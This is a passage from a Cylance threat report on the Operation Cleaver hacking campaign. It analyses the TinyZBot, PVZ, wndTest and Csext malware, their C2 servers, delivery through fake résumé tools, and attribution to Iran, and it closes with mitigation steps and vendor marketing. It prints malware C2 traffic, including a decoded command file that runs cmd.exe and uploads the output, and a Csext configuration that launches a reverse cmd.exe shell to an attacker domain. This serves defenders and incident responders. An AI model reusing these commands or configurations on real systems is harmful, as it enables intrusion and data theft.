b155-65ebd949bba9</Id><AppType>XYZCO</AppType><IP /><Pass>abefc81</Pass><Version>BDFF;1.0.0</
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Version></GetFileList></soap:Body></soap:Envelope>
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<?xml version=”1.0” encoding=”utf-8”?><soap:Envelope xmlns:soap=”http://schemas.xmlsoap.org/
soap/envelope/”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”><soap:Body><GetFileListResponse xmlns=”http://
tempuri.org/”>
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TinyZBot Command and Control Protocol (cont.)
<GetFileListResult><string>[ALL]__b93c-49a1-140914084450__[0000000000000000000000000000
0000].tmu</string><string>[ALL]__b93c-49a1-140914084612__[0000000000000000000000000000
0000].tmu</string><string>[ALL]__b93c-49a1-140914084619__[00000000000000000000000000000
000].tmu</string><string>[ALL]__b93c-49a1-140914084628__[00000000000000000000000000000
000].tmu</string><string>[ALL]__b93c-49a1-140914084638__[00000000000000000000000000000
000].tmu</string><string>[ALL]__b93c-49a1-140914084644__[00000000000000000000000000000
000].tmu</string><string>[ALL]__b93c-49a1-140914084659__[000000000000000000000000000000
00].tmu</string><string>[ALL]__b93c-49a1-140914084715__[0000000000000000000000000000000
0].tmu</string><string>[ALL]__b93c-49a1-140914084732__[00000000000000000000000000000000
].tmu</string><string>[ALL]__b93c-49a1-140914084741__[00000000000000000000000000000000].
tmu</string><string>[ALL]__b93c-49a1-140914090807__[00000000000000000000000000000000].tmu</
string><string>[ALL]__b93c-49a1-140915103605__[00000000000000000000000000000000].tmu</
string><string>[ALL]__b93c-49a1-140915103610__[00000000000000000000000000000000].tmu</string></
GetFileListResult></GetFileListResponse></soap:Body></soap:Envelope>
In order to download the file and parse for commands to execute, the TinyZBot must request the
file.
The file is downloaded Base64-encoded inside of the SOAP response.
POST /checkupdate.asmx
HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol
2.0.50727.1433)
Content-Type: text/xml; charset=utf-8
SOAPAction: “http://tempuri(dot)org/GetFile”
Host: microsoftactiveservices(dot)com
Content-Length: 478
Expect: 100-continue
HTTP/1.1 100 Continue
<?xml version=”1.0” encoding=”utf-8”?>
<soap:Envelope xmlns:soap=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsi=”http://www.
w3.org/2001/XMLSchema-instance”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”>
<soap:Body><GetFile xmlns=”http://tempuri(dot)org/”><Id>00cf6217-8c7e-4598-b155-65ebd949bba9</
Id><AppType>XYZCO</AppType><IP /><Pass>abefc81</Pass><FileName>[ALL]__b93c-49a1-140914084450__
[00000000000000000000000000000000].tmu</FileName></GetFile></soap:Body></soap:Envelope>
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET Date: Mon, 06 Oct 2014 13:36:47 GMT
Content-Length: 652
<?xml version=”1.0” encoding=”utf-8”?><soap:Envelope xmlns:soap=”http://schemas.
xmlsoap.org/soap/envelope/” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”>
<soap:Body><GetFileResponse xmlns=”http://tempuri(dot)org/”>
<GetFileResult>OzIwMTQwOTE0X18wODQ0NTANClJVTkNNRD1jbWQuZXhlLC9DIGlwY29uZmlnIC9hbGwgP
j4gIltJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dCIgMj4mMQ0KV
VBMT0FEPVtJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dA0KREVMR
VRFPVtJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dA==
</GetFileResult></GetFileResponse></soap:Body></soap:Envelope>
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TinyZBot Command and Control Protocol (cont.)
The command file downloaded in this example is as follows:
;20140914__084450
RUNCMD=cmd.exe,/C ipconfig /all >> “[INFOLDER]\d2db696a-3367-4699-a815-df09098bc596.txt”2>&1
UPLOAD=[INFOLDER]\d2db696a-3367-4699-a815-df09098bc596.txt
DELETE=[INFOLDER]\d2db696a-3367-4699-a815-df09098bc596.txt
The first line is a timestamp of the command.
The TinyZBot command parser ignores it.
The
RUNCMD line requests that cmd.exe be executed, with the command ipconfig /all being
redirected to a file in a directory designated for files to be uploaded.
The UPLOAD command
requests that this file is then uploaded over SOAP to the command and control server.
The
DELETE command then requests that the file be deleted from the infected system.
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The following is a list of supported commands that TinyZBot responds to:
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KILL 4
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COPY
REPLACE
2 0
DEEPKILL
GETSCREENSHOT
CREATEUPLOADLIST
UNLOADALL
RELOADALL
DELETE                  EXIT            FORCERESTART                       ADDSEC
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UPLOAD                  EXITFORCE            FORCEEXIT                     REMSEC
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FUPLOAD                 RUNAVDETECTOR        UNLOADMODULE                  ADDKV
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CLEARFILES              RUNWAIT              RELOADMODULE                  CHGKV
CLEAROUPUTFOLDER        RUNCMD               LOADMODULE                    REMKV
SAVECONFIG              UCMD                 UNLOADM                       ADDK
SAVETOCFGFILE           GETINFO              RELOADM                       REMOVEK
RESTART                 GETSCREENSHOTHQ      REMOVEM
RestartForce
Commands such as GETINFO are often run on newly infected systems, as they decide whether
the infection has hit the correct target.
There are additional SOAP commands, but they will not be
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The following is a list of all the SOAP commands: CheckFileMD5, GetFile,
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GetFileList, GetServerTime, UploadFile.
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TinyZBot is commonly installed using some form of deception.
Recent versions use the resume-
based methods reported in the Initial Compromise sections.
An additional method was used for
earlier versions.
When early versions of TinyZBot were executed, they opened an image stored
in the resource section of the executable and copied the malicious TinyZBot executable to the
%AppData% directory.
Many of the images identified were of the popular Lebanese singer and actress Haifa Wehbe.
The
backdoor additionally replaced the original malicious executable with an appropriately named
image file and padded the image file with null bytes in order to mirror the original file size.
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History
The earliest known version on TinyZBot was compiled on January 27, 2013.
This early version
had very little functionality.
It was limited to logging keystroke data, sending emails, and creating
a link in the user’s startup folder for persistence.
Its method of exfiltrating the logged keystrokes
relied upon a hardcoded email address stored in the binary.
The sender email address was
dyanachear(at)beyondsys.com and emails were destined for testmail_00001(at)
yahoo.com.
The message was intended to look like common Viagra spam from China, but
would be sent with the keystroke logging data as attachments, as well as system information.
The initial version did not provide any means of receiving commands and was obfuscated with
SmartAssembly.
The following iteration compiled on March 12, 2013, only contained minor bug
fixes.
The next version was compiled on April 24, 2013.
This version starts to look more like an
average bot.
A command and control protocol was established, using HTTP and SOAP for the
protocol.
The command and control server for this version was located at 173.192.144.68/
DefaultWS(dot)asmx.
This new command and control protocol allowed for the addition of
quite a few other features.
An update mechanism was added, and could be regularly scheduled,
so unassisted periodic update checks were automatically performed.
The SOAP API used a
dynamic password mechanism, which required the computation of a simple key in order to
access certain parts of the API.
The email data exfiltration method also underwent modification
to be activated at a scheduled interval.
There were also some changes, which looked to be bug
fixes, such as limiting the number of times sending an email could fail.
The next day, April 25, 2013, a new version was compiled which allowed for self-deletion.
On May 14, 2013, we noticed a change which assisted in the identification of active targets.
The AppUsageId (at this point named AppType) was an identifier used by this organization in
order to differentiate between targets infected with TinyZBot, meaning they could effectively
run multiple campaigns using the same command and control server and know which target
was infected.
This also allowed for separate commands to be supplied to different targets
without the need for per-bot commands.
At this time, the AppUsageId was total0, but later
we observed names, which aligned with active targets.
The exfiltration email address was also
changed to TerafficAnalyzer(at)yahoo.com.
On June 17, 2013, there was an addition that allowed for the loading of configuration data from
the PE’s resources.
At this time, it was limited to the exfiltration email address.
This version was
not obfuscated with SmartAssembly
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History (cont.)
We do not see a new version of TinyZBot until June 7, 2014.
There are quite a few notable
improvements, but nowhere near enough to indicate consistent development on the project for
a year.
SmartAssembly was reused again.
A method was added to detect what security related
software is installed.
Avira antivirus was specifically targeted and disabled, due to its detection of
the new keystroke logger module added in this version.
This keystroke logger source is publicly
available and referred to as DeadkeyLogger.
A new string encryption class is added, but the code was copied and pasted from a Microsoft
example.
The ability to extract Internet Explorer passwords was added.
Clipboard monitoring
code was added, but not invoked.
The emailing features were removed, but the classes which
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previously contained them were still present but empty.
Many more options were enabled to
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be loaded from PE resources.
The ability to add PE resources was added.
Another version was
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compiled on June 7, 2014, with no feature difference.
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On June 17, 2014, we see2the first instance of Binder_1, which is aptly named, as it is a binder.
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The legitimate application used in this version of Binder_1 was compiled on August 22, 2013,
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and is a self-extracting archive of desktop wallpapers, including an image from the game Mirror’s
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Edge.
The TinyZBot included was the version compiled on June 7, 2014.
The version compiled on June 23, 2014, added functionality which allowed screenshots of the
desktop to be taken.
On August 2, 2014, we see another version without SmartAssembly obfuscation.
A bug fix is made
to the keystroke logging method, and clipboard monitoring is enabled.
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Three items were compiled on August 18, 2014.
Two of them are TinyZBot binaries, which contain
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a minor key logging bug fix.
The third is a new Binder_1 instance, which contains one of the
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TinyZBot instances compiled that day.
The legitimate application included in this binder is called
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Easy_resume_creator and is a legitimate application named EasyRésuméCreatorPro.
This
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version targeted a major Saudi Arabian oil company.
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From August 23 to August 26, 2014, new versions of TinyZBot were compiled with the
AppUsageIds targeting major oil and gas companies in Qatar and Kuwait, Ministries of Foreign
Affairs in the Persian Gulf, and a major airline holding company in UAE.
These versions of
TinyZBot moved towards a more modular architecture where each component was in its own
.NET assembly.
This was presumably done to limit antivirus detection of each individual file as
well as allow for dynamic updating of specific modules.
All of these were included in their own
Binder_1 instance, which also dropped Easy_resume_creator.
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History (cont.)
There also seem to be improved software engineering practices in many locations.
FTP upload
support was added, with hardcoded credentials of ano:1.
This FTP upload functionality points
to the command and control server, and is invoked by a command in the SOAP command and
control channel.
These versions have the capability to install as a service.
On August 25, 2014, the version compiled on August 18 was submitted to VirusTotal in a ZIP
archive located at http://dl.doosan-job(dot)com/cv/Easy_Resume_Creator-
v2.0.zip.
This indicates that TinyZBot is not only being installed while impersonating a résumé
creation suite, but is also impersonating potential employers when distributed.
On September 9, 2014, a ZIP file containing TinyZBot and a configuration targeting a major US
university with its AppUsageId was created.
This was discovered on an anonymous FTP server
in the same IP range as dl.doosan-job(dot)com along with other malware.
From September 11 through September 17, 2014, some TinyZBot components were compiled,
along with a new dropper.
This dropper impersonated a tool to submit a résumé to Teledyne.
When executed, the user is prompted to enter personal information, and at the end is given a
button to submit the résumé to Teledyne, although nothing is actually submitted.
While the user
enters this information, their machine is infected with TinyZBot.
The AppUsageIds for these
versions target a major US-based university as well as an Israeli aerospace company.
These
versions began to include a new method of installing as a service.
The service runs with the
name Network Connectivity Manager.
Interesting Notes
TinyZBot, as well as some other tools (Csext, Net Crawler) initially would not run without a
command line parameter set.
This was likely to avoid detonation-based detection engines.
This
command line parameter was opensesemi which is often stored in the application’s code in
an obfuscated manner.
The binders and droppers for TinyZBot provided this command line
argument and others when executing.
TinyZBot uses a dynamic mutex.
This was accomplished by combining a static preset prefix with
the active process ID.
This allowed supplemental tools to keep TinyZBot running by enumerating
every process and checking if the process ID and mutex prefix existed.
If no mutex and process
pair was located, another TinyZBot instance would be started.
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Command and Control Servers
•   88.150.214.168, United Kingdom, microsoftactiveservices(dot)com
•   95.211.241.249, Amsterdam, Noord-Holland, Netherlands
•   88.150.214.166, United Kingdom
•   173.192.144.68, Seattle, Washington, USA
•   188.227.180.213, United Kingdom
•   192.111.145.197, Rochester, New York, USA
Backdoors
Multiple backdoors were used by this organization.
These are scripts or applications that allowed
for command or code execution outside of the victim network.
Many of their backdoors were web
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applications, added to web servers, so commands can be executed from a browser or client able
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to communicate with them.
This group includes the results of the Shell Creator mentioned in the
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Attribution section, as well as ASPX backdoors used by Nesha.
A PHP shell was also observed,
which also included attribution to Nesha in its hashed password.
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An ASPX backdoor named Zh0uSh311 was located on live servers as well as recovered from
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a staging server.
This backdoor does not require authentication, and its use appears to be
straightforward.
Its functionality breaks down into three fairly standard components: SQL queries,
executing commands, and uploading files.
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Figure 24: The ASPX backdoor named “Zh0uSh3ll”, allowing SQL queries.
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Figure 25: The ASPX backdoor named “Zh0uSh3ll”, allowing file
This organization utilized backdoors which masqueraded as varying versions of Notepad.
They
replace the existing Notepad.exe on the infected machine, and when run they call out to a
remote server and execute any shell code returned by the remote server.
There will be a detailed
analysis of these backdoors posted to Cylance’s blog in the future.
PVZ
PVZ is a name for a set of executables used together to create a botnet.
The name PVZ was
assigned by us as this is one of the few tools this organization has not named themselves.
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PVZ (cont.)
The components are as follows:
•   PVZ-In
•   PVZ-Out
•   Syn Flooder
•   LoggerModule
•   XYNTService
•   Jasus
XYNTService was not developed by the Cleaver team, but instead is a publicly available project
which executes an executable as a service.
PVZ-In                        6f20476 f64
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The purpose of PVZ-In 2
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Communication
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control server.
The known command and control server is located at http://kundenpflege.
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menrad(dot)de/js/jquery/default.aspx and the command and control protocol only uses
HTTP.
The commands as well as infected computer information are transferred in the Content-
Disposition HTTP header, making the traffic easy to pass over as benign.
When a command is received from the server, the results are stored in a central location on disk
that the PVZ tools utilize.
Command functionality is limited to executing supplied commands,
downloading and executing executables as well as self-updating.
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The debug file path for PVZ-In is:
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PVZ-In has been observed using the file name ossisvc.exe.
PVZ-Out
PVZ-Out is the other half of the command and control channel, primarily uploading results of
commands and keystroke logging data to a remote server.
The known command and control server
for PVZ-Out is located at http://www.gesunddurchsjahr(dot)de/tor/default.aspx.
Much like PVZ-In, this command and control channel communicates with the Content-Disposition
HTTP header, but for file data, POST data is supplied.
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Data uploaded is often compressed, which can make it more difficult to detect the exfiltration of
sensitive information.
The debug file path for PVZ-Out is:
C:\Users\Parviz\documents\visual studio 2010\Projects\SendModule\
Release\SendModule.pdb
PVZ-Out has been observed with the file name osppsvc.exe.
SYN Flooder
SYN Flooder is a simple network based denial of service tool.
It is a command line utility capable of
being invoked by PVZ-In.
Targeting information is supplied via command line parameters.
The debug file path for SYN Flooder is:
C:\Users\parviz\Documents\Visual Studio 2010\Projects\socket-test\
Release\socket-test.pdb
SYN Flooder has been observed using the name ossysvc.exe.
Logger Module
Logger Module observes the user’s actions and records them to a file.
The recorded actions include
mouse clicks, active windows, keypresses, as well as clipboard data.
The resulting log is written out
to a location where PVZ-Out can exfiltrate it to its command and control server.
Logger Module has
been observed using the name ospcsvc.exe.
The following command and control servers for Logger Module have been observed:
212.87.154.14, Baden-Wurttemberg, Germany, kundenpflege.menrad(dot)de
212.87.154.12, Baden-Wurttemberg, Germany, www.gesunddurchsjahr(dot)de
wndTest
WndTest is the evolution of the PVZ tool chain into a single executable.
The tool chain is minimized
down to a command and control communications, keystroke logging, and clipboard monitoring.
The command and control still supports upgrading, downloading, and executing of applications, as
well as executing batch scripts.
WndTest installs as a service and has been observed attempting to
impersonate Adobe Report Service.
WndTest starts using PHP servers for its command and control
server, some of which are listed as defaced sites.
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We have seen wndTest communicate with the following servers:
•   209.208.97.44, Orlando, Florida, USA, www.lat(dot)am
•   23.238.17.181, Tulsa, Oklahoma, USA, regulatorfix(dot)com
•   209.208.97.44, Orlando, Florida, USA, www.asiess(dot)com
•   198.50.100.210, Quebec, Canada, halon(dot)com.br
•   207.182.142.68, Columbus, Ohio, USA
•   95.211.191.247, Amsterdam, Noord-Holland, Netherlands
Csext
Csext is a backdoor application developed in C# which runs as a service.
Its primary functionality
is based on commands supplied by its configuration file.
The configuration file is able to store
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specific commands, which are intended to run at particular times.
A recovered configuration is as
follows:
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domain1=srv01.microsoftwindowsupdate(dot)net,check.html,3
%%
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{0}\{zhname}$$ -h -x -i {domain1} -p 443 -e c:\windows\system32\cmd.
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%%
##
This configuration executes zhCat to connect back to srv01.microsoftwindowsupdate(dot)net (a
deceptive domain owned by this group with falsified Whois data attributing to Microsoft Investor
Relations) with XORed communication using the HTTP protocol on TCP port 443.
This zhCat
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instance is running cmd.exe, effectively making it a reverse connecting shell.
This command
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runs at 00:29 in the morning, and is killed by taskkill at 00:35.
This gives the attackers a
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predictable method to regain access to a compromised network if they ever lose access.
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Csext also has email functionality similar to TinyZBot.
This email functionality is used to exfiltrate
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the results of commands from the command file which can also include requests like gathering
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user information.
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We have seen Csext configured to communicate with the following servers:
• 78.47.102.90, Germany, srv01.microsoftwindowsupdate(dot)net
• 174.36.195.158, Washington D.C, USA, srv01.microsoftupdateserver(dot)
net
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MITIGATION COVER
MITIGATION
TTP COVER HERE
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MITIGATION
If after reviewing the Indicators of Compromise (IOC) listed in Appendix A, you believe your
organization to be a victim of Operation Cleaver, we recommend you consider the following course
of action:
1.
If inside the United States, contact the Federal Bureau of Investigation (FBI) via either your local
FBI team or FBI CYWATCH at 1-855-292-3937 or cywatch@ic.fbi.gov.
2.
If outside the United States, contact your local, district, state or federal law enforcement
authorities.
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3.
If you have visibility into the attacks on your company and the tools and expertise to track them
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down, leverage the IOCs in Appendix A to identify their presence in your network, prevent them
4
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from expanding the scope of the compromise, and remove their access immediately.
20 into the attacks, need help identifying an existing successful
4.
If you do NOT have visibility
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compromise in your organization, or more importantly wish to prevent this attack or attacks similar
to Operation Cleaver, please contact your security provider.
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5.
If you wish to contact Cylance for additional details not available in this report, please email
opcleaver@cylance.com.
6.
If you would like to learn more about Cylance products and professional services, or discuss how
Cylance can mitigate Operation Cleaver’s impact to your organization, please contact us directly.
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+1 (877) 973 - 3336
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SPECULATION
SPECULATION COVER
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SPECULATION: THE WHY
Iran in 2014 can probably be best described as galvanizing.
They have long been an “enemy” of
the west, and the United States in particular, but today’s headlines include a variety of topics from
nuclear talks to human rights to terrorism to cyber hacking.
Iran continues to be extremely active on
the global stage – and thereby on the radar of every superpower.10
Iran’s cyber sophistication has grown rapidly since the dawn of Stuxnet and they have used hard
dollars combined with national pride to help build their cyber army.
Few doubt their commitment
as a government and nation state to funding and recruiting cyber warriors to infiltrate and damage
their enemies.
And it has been commonly postulated that almost all activity since 2010 coming out
of Iran is associated with retaliation for Stuxnet/Duqu/Flame, which seems natural given the severity
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of the impact.
But they don’t need Stuxnet as motivation to want to hack the world.
They have long
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desired power on the political stage, in particular in the fight for nuclear power autonomy.
With the deadlines around0
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the Iranian nuclear discussions pushed to 2015, the attacks may be tied
2 discussing a pact with the nuclear superpowers of United States, Britain,
to negotiating power when
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France, Germany, Russia and China.
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The inner workings of the Iranian government remain largely a mystery to the western world.
However, Iran’s control over its people and the private businesses birthed inside has been well
reported.
In a 2014 Reuters article, the reporters detail how the secret Iranian organization called
“Setad Ejraiye Farmane Hazrate Emam” has become one of the most powerful organizations in the
country, capable of taking over properties and businesses, buying controlling interests in numerous
sectors including finance, oil, telecommunications and many others totaling in upwards of $95B.11
Even the US Treasury has documented an extensive fronting of companies in its report of Execution
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of Imam Khomeini’s Order (EIKO), which through its two main subsidiaries controls 37 private
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businesses that are purely front companies for the Iranian government.12
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The history of Iran controlling the usage of the Internet and the very Internet on-ramps into Iran is
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well known13, 14.
They have controlled much of the country’s Internet access to date and have taken
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over controlling interests in those companies to carry out their work.
Given Operation Cleaver’s
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frequent spin-up and take-down of large IP blocks inside the AFRANET IP space inside Iran,
and Iran’s well recorded investment in cyber warfare14 leads us to one simple conclusion: Iran is
extremely active in the world of hacking.
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Speculation: The Why (cont.)
Involvement with North Korean
Operation Cleaver’s intense focus on critical infrastructure companies, especially in South Korea,
hints at information sharing or joint operations with Iran’s partner, North Korea.
In September,
2012, Iran signed an extensive agreement for technology cooperation agreement with North
Korea, which allows for collaboration on a variety of efforts including IT and security.6
Cyber Moving to Physical
Operation Cleaver’s carefully selected targets like the oil and gas industry, energy and utility
companies, as well as airlines and airports, indicates Iran’s desire to gain deep access into the
world’s most critical environments.
The end goal of this operation is not known at this time.
University Recruitment
University student recruitment was hinted at within Operation Cleaver and is consistent with
Iran’s reported history of active warrior recruitment in the educational space.15
Overall, there are many reasons that Iran may be pursuing the targets they did in Operation
Cleaver.
While we may never truly know, it is important to consider all the above and more when
trying to understand the why.
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CONCLUSION
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CONCLUSION
After tracking the Operation Cleaver team for over two years, we’re led to the inexorable
conclusion: the government of Iran, and particularly the Islamic Revolutionary Guard Corps
(IRGC), is backing numerous groups and front entities to attack the world’s critical infrastructure.
As security experts in Critical Infrastructure and Key Resources (CIKR), Industrial Control Systems
(ICS), Supervisory Control and Data Acquisition (SCADA) systems, Building Management Systems
(BMS), embedded systems and fixed-function systems, we know how easy they are to hack.
We have worked with countless customers and vendors throughout the years to notify them of
vulnerabilities, assist with remediatation efforts, and help mitigate threats to their environments.
Unfortunately, many critical infrastructure organizations are unable to secure their complex
envirnoments against modern attacks.
They fall victim to the “glue flu”, a malaise of feeling stuck,
not wanting to change the status quo for fear they will find problems that they have no idea how
to prevent.
This “security anaphylaxis” spells real disaster.
If Operation Cleaver doesn’t get the world to wake up to what is happening in the silent world of
cyber, then perhaps nothing will.
Prevention is everything and we should never give up until it’s
achieved.
Challenge your trusted advisors.
Challenge your security vendors.
Demand better technology
and services to detect, respond, but most importantly PREVENT not just contemporary attacks,
but future exotic attacks that have yet to be imagined.
That is what truly disruptive and innovative
technology is.
Don’t settle for anything less.
We hope that by exposing the Operation Cleaver team to the world, current global critical
infrastructure victims can be notified, and prevent future victimization from suffering the
consequences of “status quo” security.
Unlike United Flight 811, perhaps we can prevent the next
disaster.
DEFENDERS, NEVER GIVE UP!
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REFERENCES
[1] Aboard Flight 811: Passengers’ Routine Dissolves Into Terror - February 1989
http://www.nytimes.com/1989/02/26/us/aboard-flight-811-passengers-routine-dissolves-into-terror.html
[2] “Forget China: Iran’s Hackers Are American’s Newest Cyber Threat” - February 2014
http://complex.foreignpolicy.com/posts/2014/02/18/forget_china_iran_s_hackers_are_america_s_newest_cyber_
threat
[3] “Developments in Iranian Cyber Warfare 2013-2014” - August 2014
http://www.inss.org.il/uploadImages/systemFiles/SiboniKronenfeld.pdf
[4] “Iran ups cyber attacks on Israeli computers: Netanyahu” - June 2013
http://uk.reuters.com/article/2013/06/09/us-israel-iran-cyber-idUKBRE95808H20130609
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[5] “Iranians hacked Navy network for four months?
Not a surprise.” - February 2014
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http://arstechnica.com/information-technology/2014/02/iranians-hacked-navy-network-for-4-months-not-a-surprise/
[6] “Iran and North Korea Sign 0
2 Technology Treaty to Combat Hostile Malware” - September 2012
http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware#
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[7] “Iran’s Paramilitary Militia Is Recruiting Hackers” - January 2011
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http://www.forbes.com/sites/jeffreycarr/2011/01/12/irans-paramilitary-militia-is-recruiting-hackers/
[8] “The Iranian Nuclear Weapon” - January 2014
http://webcache.googleusercontent.com/search?q=cache:eJbMz7vynpQJ:iranredline.org/index.
php%3Fid%3D22+&cd=1&hl=en&ct=clnk&gl=us
[9] “HPSR Threat Intelligence Briefing Episode 11, February 2014” - February 2014
http://www8.hp.com/h20195/v2/getpdf.aspx/4AA5-1589ENW.pdf?ver=1.0
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[10] “Intel boss’ warning on cyber attacks no joke, say experts” - November 2014
b
http://www.foxnews.com/world/2014/11/23/intel-boss-warning-on-cyber-attacks-no-joke-say-experts/
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[11] “Khamenei controls massive financial empire built on property seizures” - November 2013
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http://www.reuters.com/investigates/iran/#article/part1
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[12] “Treasury Targets Assets of Iranian Leadership” - June 2013
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http://www.treasury.gov/press-center/press-releases/Pages/jl1968.aspx
[13] “Internet Censorship in Iran”
http://en.wikipedia.org/wiki/Internet_censorship_in_Iran
[14] “Iranian Internet - Fact and Faction”
http://surveillance.rsf.org/en/iran/
[15] “Iran readying hacker attacks on U.S. infrastructure, specialists say” - April 2012
http://www.washingtontimes.com/news/2012/apr/25/iran-readying-hacker-attacks-us-infrastructure-spe/?page=all
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ABOUT CYLANCE
In the face of growing and evolving threats, traditional cyber protection technologies are now
widely considered inadequate.
The only way to regain the upper hand against a new generation
of attackers, is to embrace something entirely new.
Something that “thinks” like an attacker.
Something that doesn’t rely on a trust model or care about hash lookups.
Something with a brain.
“The world has combated cyber threats by doing the same
thing over and over again ... it’s the definition of insanity!”
Jeff Moss - Co-Chair of the DHS Community Resiliency Task Force
& Founder of BlackHat and DEFCON security conferences
Cylance has eschewed the old foundations that existing cybersecurity products are built upon.
Instead, we’ve based our approach on mathematics, machine learning, and data science.
This
algorithmic approach has been proven to detect – and stop – exponentially more modern threats.
Leveraging algorithmic risk modeling, CylancePROTECT protects endpoints from everyday viruses,
worms, trojans, and spyware, but unlike other security products, CylancePROTECT offers true
future-proof protection against the most malicious threats in the world.
Advanced Persistent Threats
(APT), 0-days, and exotic exploitation techniques are easily detected and halted with little-to-no
impact on the end-user.
Existing reactive solutions rely on a constant stream of signature updates for threat detection, which
is not only costly and inconvenient, but also requires “sacrificial lambs”.
Only after a previously
unseen threat has inflicted damage can the rest of the industry begin to detect it.
CylancePROTECT
doesn’t require constant updates or even a network connection to protect against so-called
“previously undetectable” threats.
By identifying and defusing attacks in near real time, before the
attack can execute, we can finally do away with the need for a “patient zero”.
As Richard Stiennon, Chief Research Analyst at IT-Harvest, put it, “Many vendors are trying to solve
the endpoint problem, yet Cylance is the only one using the power of math to stop malware and
with more effectiveness and efficiency than current solutions”.
Interested in seeing what CylancePROTECT can do for your organization?
Contact us!
Cylance is one of the fastest growing cybersecurity technology firms in the US.
Cylance’s flagship product
CylancePROTECT has been adopted by Fortune 500 companies and government agencies across the globe.
Cylance
was founded by 27-year security industry luminary, Stuart McClure, former Global CTO of McAfee, original founder
of Foundstone, and lead author of the international best-selling book Hacking Exposed.
In building Cylance, Stuart
brought together the best scientific and executive minds from the likes of Cisco, Sourcefire, Google and McAfee.
The
Cylance board of advisors includes former high-ranking officials from the DHS, the FBI, CIA, and executive titans of
business.
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CYLANCE PRODUCTS
CylancePROTECT is the only next generation endpoint security product that applies math to
mute existing and future malware, viruses, worms, trojans, bots, APTs, 0-days, exploits, adware,
spyware and hacking tools – without needing any updates or even a connection to the Internet.
The technology is founded on the principle that to fix the industry, you must start from scratch with
a way as yet unseen.
CylancePROTECT does not rely on signatures of any sort (blacklist or whitelist), behavioral
analysis using IOCs, sandboxing analysis, heuristics, micro-virtualization, or dynamic detonation –
to detect and prevent malicious files from executing on a target endpoint.
While every other endpoint security product must collect a sample, analyze, and write a signature
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to detect it, CylancePROTECT can detect malware before it executes by statically analyzing
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features found in the binary itself.
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Features and Benefits of2CylancePROTECT:
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• Near real time detection of malicious files, even if they’ve never been seen in the wild.
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• Can be used to augment existing endpoint security or be deployed as a complete replacement.
• Does not require any signature updates or connection to the cloud.
• An easy-to-use web management console with intuitive workflows.
• Low-impact endpoint agent.
For a demo of CylancePROTECT, contact a Cylance expert today!
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Figure 26: Cylance products detect and stop all the malware used in
Operation Cleaver, even though the vast majority of the samples are
completely missed by the antivirus industry as of this report’s publication.
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CYLANCE SERVICES
Cylance’s Professional Services team is available to assist companies affected by this campaign.
Cylance is providing consulting to companies that may have been targeted by these advanced
threat actors.
Cylance will perform initial triage in order to determine the extent to which your
company has been affected by this campaign and work towards establishing a containment
strategy.
Cylance has two tailored offerings for clients affected by this campaign.
The first one includes
ICS in our incident response since many companies affected are in the Critical Infrastructure and
Key Resources (CIKR) vertical.
The second offering’s focus is to deploy our proprietary tools and
methodologies to detect and mitigate the threats posed by Operation Cleaver.
Option 1: ICS Incident Response & APT Detection and Mitigation
Option 2: Detection, Remediation, & Mitigation
For more information on how the Cylance Professional Services team can assess and respond to
attacks like the ones obseved in Operation Cleaver, contact sales@cylance.com today.
INCIDENT RESPONSE
COMPROMISE ASSESSMENTS                                                Stop the threat, mitigate risk,
and remediate.
Uncover previously undiscovered
breach and damage.
PENETRATION TESTING
Check the integrity of your
environment and infrastructure.
FORENSIC INVESTIGATIONS
Dig into who, what, where, and
CUSTOM SERVICES                                        when a compromise occurred.
Get expert help that addresses YOUR security needs.
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ACKNOWLEDGMENTS
Brian Wallace
Brian is a Sr. Security Researcher for Cylance who joined shortly after the company was established.
He is best known for his avid botnet research (often going by “botnet_hunter”) and for his novel
malware analysis in the A Study in Bots blog series hosted by Cylance.
Brian has been a dedicated
open-source developer as well as an advocate for public and private anti-botnet operations.
Brian actively develops techniques to combat cyber oppositions in positions where resources and
leverage are in too limited of supply for conventional means.
These techniques, cultivated by Stuart
McClure, are the Art of Deterrence.
In a previous investigation, Art of Deterrence techniques were
successfully used to divert Indonesian hackers motivated by monetary gain away from their highest
yielding target group.
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Brian’s botnet research covers a wide range of topics, from using graph analysis to estimate
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the amount of ransom that has been paid to a ransomware operator, to utilizing IPv4 scanning
techniques to identify and take down point of sale malware panels.
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Stuart McClure
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Stuart is founder, CEO/President and Chairman of Cylance.
Widely recognized for his extensive and
in-depth knowledge of security products, Stuart McClure is considered one of the industry’s leading
authorities in information security today.
A well-published and acclaimed security visionary with
currently eleven books in print, McClure is the originating founder of the Hacking Exposed series
of books, the most successful security book ever written.
From his work, he founded Foundstone in
October of 1999 which sold to McAfee in 2004.
2
McClure brings over two decades of technology and executive leadership with profound technical,
b
operational, and financial experience.
Besides Foundstone, Stuart held leadership positions at
6
InfoWorld, Ernst & Young, Kaiser Permanente and a number of government agencies.
At McAfee,
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McClure held numerous positions including SVP/General Manager for the Security Management BU
9
as well as EVP/Global Chief Technology Officer responsible for almost $3B worth of revenues.
6
Today, McClure is CEO of Cylance, a disruptive and innovative startup applying math to the problem
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of security.
Cylance products such as CylancePROTECT prevent the most advanced attacks in the
world without signatures or sandboxing in realtime on the endpoint.
Cylance Services offer highly
specialized security services such as incident response, forensics, compromise assessments and
advanced penetration assessments for global critical infrastructure.
Cylance Team
Cylance employees work passionately and tirelessly every day to achieve one goal: Protect the
world from cyber attacks.
And with their efforts in tracking Operation Cleaver, they have achieved
that goal.
Our endless thanks to all the Cylancers who contributed to this report.
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THE OPERATION CLEAVER LOGO
The Operation Cleaver logo, created by Cylance specifically for this report, was inspired by the
